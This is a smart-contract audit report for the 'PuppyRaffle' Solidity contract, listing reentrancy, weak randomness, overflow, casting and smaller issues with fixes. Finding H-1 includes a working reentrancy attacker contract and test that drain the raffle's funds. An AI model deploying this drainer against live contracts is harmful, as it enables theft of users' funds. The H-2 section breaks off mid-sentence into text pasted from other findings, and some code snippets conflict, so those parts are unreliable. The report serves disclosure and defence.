Puppy Raffle Audit Report

Version 0.1

A report

December 17, 2023

Puppy Raffle Audit Report

Kwame 4b

17th December, 2023.

Puppy Raffle Audit Report

Prepared by: Kwame 4b Lead Auditors:

- [Kwame 4b]

Assisting Auditors:

- None

Table of contents

See table

    - Issues found

- Findings
    - High
        * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
        * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner influence the wining puppy.
        * [H-3] Integer overflow of `PuppyRaffle::totalfees` loses funds
    - Medium
        * [M-1] Unsafe cast of `PuppyRaffle::fee` loses fees
        * [M-2] Smart contract wallets raffle winners without a `receive` function will block the start of a new contest
    - Low
        * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existent players and for players at index 0, causing player at index0 to incorrectly think they have not entered the raffle
    - Informational / Non-Critical
        * [I-1] Solidity pragma should be specific not wide
        * [I-2] Using outdated versions of solidity pragma is not recommended
        * [I-3] Missing checks for `address(0)` when assigning values to address state variables
        * [I-4] `PuppyRaffle::selectWinner` does not follow CEI order
        * [I-5] Use of magic numbers is discouraged
        * [I-6] Zero address may be erroneously considered an active player
        * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
    - Gas (Optional)
        * [G-1] Unchanged state variable should be declared constant or immutbale
        * [G-2] Storage variables in a loop should be cached

About Kwame4b

A new security reviewer trying to make a passion and a living out of making codebases alot safer

Disclaimer

Kwame4b makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

I was new to NFTs and this was my first time auditing this protocol, it very straightforward and requires alot of logical thinking to find interesting things.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: In `PuppyRaffle::refund` finction does not CEI (checks, effects & interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following code in your test suite

```
        function test_ReentrancyRefund() public playersEntered {
            ReentrancyAttacker attackerContract = new
                ReentrancyAttacker(puppyRaffle);
            address attackUser = makeAddr("attackUser");
            vm.deal(attackUser, 1 ether);

            uint256 startingAttackContractBalance = address(
                attackerContract).balance;
            uint256 startingContractBalance = address(puppyRaffle).
                balance;

            //attack
            vm.prank(attackUser);
            attackerContract.attack{value: entranceFee}();

            console.log("starting attacker contract balance: ",
                startingAttackContractBalance);
            console.log("starting contract balance: ",
                startingContractBalance);

```

```
16              console.log("ending attacker contract balance: ", address(
                    attackerContract).balance);
17              console.log("ending contract balance: ", address(
                    puppyRaffle).balance);
18      }
```

You need to add this contract in too

```

contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 attackerIndex;
    uint256 entranceFee;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();

    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call, additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {

```

```
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9
10          payable(msg.sender).sendValue(entranceFee);
11
12  -       players[playerIndex] = address(0);
13  -       emit RaffleRefunded(playerAddress);
14      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner influence the wining puppy.

Description: A predictable number is not a good random number. Hashing `msg.sender`, `block.timestamp` & `block.difficulty` together creates a predictable find number. Malicious miners can manipulate these values to choose the winner of the raffles themselves

Impact: Any user can influence the winner of the raffle, wining the money and selecting the `rarest` puppy. making the entire raffle worthless if it becomes a gas war as to whom wins the raffles

Proof of concept: 1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and see that to predict and how to participate. see the solidity blog on prevrendao(https://soliditydeveloper.com/prevrendao), `block.difficulty` was recently replaced with prevrendao 2. User can mine/manipulate their `msg.send` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using something like chainlinkVRF a cryptographically well proved random number generator selectWinner‘ allows users to influence or predict the winner influence the wining puppy.

Impact: A player at index 0 may think that they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Reading from storage is much more expensiive than reading from a constant or immutable variable

instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::LegendaryImageUri` should be `constant`

[H-3] Integer overflow of `PuppyRaffle::totalfees` loses funds

Description: In Solidity versions prior to `0.8.0` integers were subject ti integer oveflows.

```
uint64 myVar = type(uint64).max
//18446744073709551615
myVar = myVar + 1
//myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17000000000000000000
//and this will oveflow
```

4. You will not be able to withdraw, due to a line in `PuppyRaffle::withdrawFees`;

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.

Recommended Mitigation: 1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees` 2. Use the Safemath library of openzeppelin for version 0.7.6 of solidity. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

there are more attack vectors with that require, i recommend removing it

Medium

[M-1] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-2] Smart contract wallets raffle winners without a `receive` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. the lottery ends 3. the `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. [Recommended] 3. Pull >/over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non existent players and for players at index 0, causing player at index0 to incorrectly think they have not entered the raffle

Description:if a player is in the `PuppyRaffle::players` array at the index 0, this will return zero which indicates he hasnt entered the raffle because according to the natspec, it will also return 0 if the player is not in the array

```
1  function getActivePlayerIndex(address player) external view returns (
      uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7          return 0;
8      }
```

Impact: A player at index 0 may think that they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational / Non-Critical

[I-1] Solidity pragma should be specific not wide

Description: a caret was used to specify ranges of solidity version that can execute this contract

Impact: this makes contract prone to bugs from previous versions os solidity

Proof of Concept: found in src/PuppyRaffle.sol: 32:23:35

Recommended Mitigation: consider using a specific version of solidity in your contracts instead of a wide version.

[I-2] Using outdated versions of solidity pragma is not recommended

Description: solc releases new compiler versions, using an old versio prevents access to new security checks

Impact: prone to previous compiler bugs

Proof of Concept: found in src/PuppyRaffle.sol: 32:23:35

Recommended Mitigation: consider using a newer version of solc.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol

[I-4] `PuppyRaffle::selectWinner` does not follow CEI order

it is the best thing for your code to follow CEI

```
-     (bool success,) = winner.call{value: prizePool}("");
-     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
      _safeMint(winner, tokenId);
+     (bool success,) = winner.call{value: prizePool}("");
+     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
```

[I-5] Use of magic numbers is discouraged

it can be confusing to see number literlas in a codebase, and it's much more readble if the numbers are in a given name.

examples

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

instead you could make those random numbers a variable like this

```
    uint256 public constant VAR_NAME = 80;
    uint256 public constant VAR_NAME1 = 20;
    uint256 public constant VAR_NAME1 = 100;
```

[I-6] Zero address may be erroneously considered an active player

Description: The refund function removes active players from the players array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the getActivePlayerIndex function. If someone calls getActivePlayerIndex passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the players array.

Recommended Mitigation: Skip zero addresses when iterating the players array in the getActivePlayerIndex. Do note that this change would mean that the zero address can never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the enterRaffle function.

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed from code

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas (Optional)

[G-1] Unchanged state variable should be declared constant or immutbale

Reading from storage is much more expensiive than reading from a constant or immutable variable

instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::LegendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length;
+           for (uint256 j = i + 1; j < playerLength;
 j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)